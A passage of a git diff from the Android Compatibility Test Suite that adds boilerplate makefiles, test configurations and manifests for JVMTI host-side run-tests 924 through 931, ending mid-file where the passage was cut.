+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest924HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
new file mode 100644
index 0000000..5a2b567
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest924DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_924" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest924HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest924DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_924" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
new file mode 100644
index 0000000..f1acfd0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest924DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml
new file mode 100644
index 0000000..bcc74c3
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_924">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="924" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_924" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.mk b/hostsidetests/jvmti/run-tests/test-926/Android.mk
new file mode 100644
index 0000000..fcd46ad
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest926HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
new file mode 100644
index 0000000..eea4602
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest926DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_926" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest926HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest926DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_926" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
new file mode 100644
index 0000000..a597fb1
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest926DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml
new file mode 100644
index 0000000..b2a855a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_926">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="926" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_926" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.mk b/hostsidetests/jvmti/run-tests/test-927/Android.mk
new file mode 100644
index 0000000..939601c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest927HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
new file mode 100644
index 0000000..71d452d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest927DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_927" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest927HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest927DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_927" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
new file mode 100644
index 0000000..9c71950
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest927DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml
new file mode 100644
index 0000000..966014a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_927">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="927" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_927" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.mk b/hostsidetests/jvmti/run-tests/test-928/Android.mk
new file mode 100644
index 0000000..2eac8f9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest928HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
new file mode 100644
index 0000000..b7c59de
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest928DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_928" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest928HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest928DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_928" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
new file mode 100644
index 0000000..2eb3612
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest928DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml
new file mode 100644
index 0000000..1a4d25b
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_928">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="928" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_928" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.mk b/hostsidetests/jvmti/run-tests/test-930/Android.mk
new file mode 100644
index 0000000..2ac9ae2
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest930HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
new file mode 100644
index 0000000..3b241b2
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest930DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_930" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest930HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest930DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_930" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
new file mode 100644
index 0000000..873b273
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest930DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml
new file mode 100644
index 0000000..505448f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_930">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="930" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_930" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.mk b/hostsidetests/jvmti/run-tests/test-931/Android.mk
new file mode 100644
index 0000000..ae04387
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest931HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
new file mode 100644
index 0000000..4944067
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest931DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_931" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest931HostTestCases.jar" />
